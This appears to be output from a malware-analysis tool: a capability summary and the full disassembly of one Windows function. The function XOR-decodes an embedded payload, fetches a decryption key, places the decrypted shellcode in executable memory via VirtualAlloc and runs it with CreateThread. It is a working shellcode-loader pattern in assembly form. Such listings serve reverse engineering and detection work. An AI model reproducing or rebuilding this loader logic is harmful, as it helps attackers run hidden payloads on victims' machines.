Function at 0x140003740
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140032040]
xor rax, rsp
mov qword [rbp + 0x210], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], rax
lea rcx, [rsp + 0x70]
lea rax, [0x14002d6a0]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400037a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
lea rbx, [rsp + 0x70]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f8], xmm0
xor esi, esi
mov ecx, 0x240
call fcn.1400078e8
mov r15, rax
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x1f8], rax
lea r13, [rax + 0x240]
mov qword [rsp + 0x60], r13
mov qword [rbp + 0x208], r13
mov r8d, 0x240
mov rdx, rbx
mov rcx, rax
call fcn.140020fd0
mov qword [rbp + 0x200], r13
sub r13d, r15d
xorps xmm0, xmm0
movsxd rbx, r13d
movdqu xmmword [rbp + 0x1c8], xmm0
mov qword [rbp + 0x1d8], rsi
je 0x1400038f8
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140003d6c
cmp rbx, 0x1000
jb 0x1400038c5
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003d72
call fcn.1400078e8
test rax, rax
je 0x140003d8a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400038d0
mov rcx, rbx
call fcn.1400078e8
mov rdi, rax
mov qword [rbp + 0x1c8], rdi
lea r14, [rdi + rbx]
mov qword [rbp + 0x1d8], r14
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.140021670
mov qword [rbp + 0x1d0], r14
jmp 0x1400038ff
mov rdi, qword [rbp + 0x1c8]
test r13d, r13d
jle 0x140003922
mov rcx, rdi
mov rdx, r15
sub rdx, rdi
nop dword [rax]
movzx eax, byte [rdx + rcx]
xor al, 0xaa
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x140003910
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov qword [rbp + 0x1c0], rsi
lea rcx, [rbp + 0x1b0]
call fcn.140003120
mov r12, qword [rbp + 0x1b0]
test al, al
jne 0x140003954
lea rdx, str.Failed_to_download_key
jmp 0x14000396e
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
sub rax, r12
cmp rax, 0x10
je 0x1400039a4
lea rdx, str.Key_size_is_incorrect
call fcn.140003fb0
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004910
movzx edx, al
mov rcx, rbx
call fcn.140004760
mov rcx, rbx
call fcn.140004600
mov esi, 1
jmp 0x140003c7d
mov dword [rsp + 0x40], 0x3020100
mov dword [rsp + 0x44], 0x7060504
mov dword [rsp + 0x48], 0xb0a0908
mov dword [rsp + 0x4c], 0xf0e0d0c
and r13d, 0xfffffff0
add r13d, 0x10
mov dword [rsp + 0x54], r13d
mov dword [rsp + 0x50], esi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1e0], xmm0
mov r15, rsi
mov qword [rbp + 0x1f0], rsi
mov eax, esi
mov ebx, esi
test r13, r13
je 0x140003a68
cmp r13, 0x1000
jb 0x140003a25
lea rcx, [r13 + 0x27]
cmp rcx, r13
jbe 0x140003d78
call fcn.1400078e8
test rax, rax
je 0x140003d7e
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140003a30
mov rcx, r13
call fcn.1400078e8
mov rbx, rax
mov r14, rbx
mov qword [rbp + 0x1e0], rbx
lea r15, [rbx + r13]
mov qword [rbp + 0x1f0], r15
mov r8, r13
xor edx, edx
mov rcx, rbx
call fcn.140021670
mov rax, r15
mov qword [rbp + 0x1e8], rax
mov r13, rbx
mov rcx, qword [rbp + 0x1b8]
jmp 0x140003a72
mov r14, qword [rbp + 0x1e0]
mov r13, rsi
sub eax, ebx
sub ecx, r12d
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, ecx
mov r8, r12
mov ebx, dword [rsp + 0x54]
mov edx, ebx
mov rcx, rdi
call fcn.140002d70
add ebx, 0xffffffe4
mov rdx, rsi
cmp rbx, 0x40
jb 0x140003b1f
mov ecx, ebx
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [0x14002d8f0]
lea rax, [r13 + 0x20]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
movdqu xmm0, xmmword [rax - 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
add rdx, 0x40
lea rax, [rax + 0x40]
cmp rdx, rcx
jb 0x140003ad0
cmp rdx, rbx
jae 0x140003b3d
lea rax, [rdx + r13]
mov rcx, rbx
sub rcx, rdx
nop
xor byte [rax], 5
lea rax, [rax + 1]
sub rcx, 1
jne 0x140003b30
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
jne 0x140003b99
lea rdx, str.VirtualAlloc_failed
call fcn.140003fb0
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004910
movzx edx, al
mov rcx, rbx
call fcn.140004760
mov rcx, rbx
call fcn.140004600
mov esi, 1
jmp 0x140003c40
mov r8, rbx
mov rdx, r14
mov rcx, r13
call fcn.140020fd0
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, r13
lea r8, [0x140003730]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140003c17
lea rdx, str.CreateThread_failed
call fcn.140003fb0
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004910
movzx edx, al
mov rcx, rbx
call fcn.140004760
mov rcx, rbx
call fcn.140004600
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, 1
jmp 0x140003c40
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
test r14, r14
je 0x140003c78
sub r15, r14
mov rax, r14
cmp r15, 0x1000
jb 0x140003c6d
add r15, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d7e
mov rdx, r15
mov rcx, r14
call fcn.140007640
mov r15, qword [rsp + 0x58]
test r12, r12
je 0x140003cbb
mov rdx, qword [rbp + 0x1c0]
sub rdx, r12
mov rax, r12
cmp rdx, 0x1000
jb 0x140003cb2
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d84
mov rcx, r12
call fcn.140007640
nop
test rdi, rdi
je 0x140003cfb
mov rcx, qword [rbp + 0x1d8]
sub rcx, rdi
mov rax, rdi
cmp rcx, 0x1000
jb 0x140003cef
add rcx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d8a
mov rdx, rcx
mov rcx, rdi
call fcn.140007640
nop
test r15, r15
je 0x140003d34
mov rcx, qword [rsp + 0x60]
sub rcx, r15
mov rax, r15
cmp rcx, 0x1000
jb 0x140003d29
add rcx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d66
mov rdx, rcx
mov rcx, r15
call fcn.140007640
mov eax, esi
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140007620
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000d710
nop
call fcn.140003ee0
nop
call fcn.140001250
nop
call fcn.140001250
int3
call fcn.14000d710
nop
call fcn.14000d710
nop
call fcn.14000d710
int3